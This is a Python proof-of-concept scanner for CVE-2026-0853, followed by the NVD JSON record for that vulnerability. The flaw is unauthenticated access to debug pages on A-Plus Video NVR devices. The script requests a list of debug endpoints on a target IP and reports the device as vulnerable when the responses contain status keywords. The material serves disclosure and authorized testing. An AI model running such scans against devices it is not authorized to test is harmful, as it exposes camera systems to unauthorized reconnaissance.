CVE-2026-0853

#!/usr/bin/env python3 """ CVE-2026-0853 PoC - A-Plus Video NVR Sensitive Data Exposure Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import json def check_vulnerability(target_ip, port=80): """Check if target NVR is vulnerable to CVE-2026-0853""" # Common debug endpoints for A-Plus Video NVR debug_endpoints = [ '/debug', '/debug/status', '/debug/info', '/cgi-bin/debug', '/cgi-bin/debug/status', '/api/debug', '/api/debug/status' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*' } vulnerable_endpoints = [] for endpoint in debug_endpoints: try: url = f"http://{target_ip}:{port}{endpoint}" response = requests.get(url, headers=headers, timeout=10, verify=False) # Check if endpoint is accessible and returns sensitive data if response.status_code == 200: content = response.text.lower() # Check for sensitive keywords in response sensitive_keywords = ['cpu', 'memory', 'disk', 'status', 'config', 'network', 'user', 'camera'] matches = sum(1 for keyword in sensitive_keywords if keyword in content) if matches >= 2: vulnerable_endpoints.append({ 'endpoint': endpoint, 'status_code': response.status_code, 'content_length': len(response.text) }) print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}, Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return vulnerable_endpoints def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-0853-poc.py <target_ip> [port]") print("Example: python cve-2026-0853-poc.py 192.168.1.100 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] Scanning {target}:{port} for CVE-2026-0853...") print("=" * 60) results = check_vulnerability(target, port) print("=" * 60) if results: print(f"[+] Found {len(results)} vulnerable endpoint(s)") print("[!] Target is VULNERABLE to CVE-2026-0853") else: print("[-] No vulnerable endpoints found") print("[*] Target may not be vulnerable or is not an affected NVR device") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-0853", "sourceIdentifier": "[email protected]", "published": "2026-01-12T04:15:46.840", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Certain NVR models developed by A-Plus Video Technologies has a Sensitive Data Exposure vulnerability, allowing unauthenticated remote attackers to access the debug page and obtain device status information."}, {"lang": "es", "value": "Ciertos modelos de NVR desarrollados por A-Plus Video Technologies tienen una vulnerabilidad de Exposición de Datos Sensibles, permitiendo a atacantes remotos no autenticados acceder a la página de depuración y obtener información del estado del dispositivo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10621-55584-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10620-527f1-1.html", "source": "[email protected]"}]}}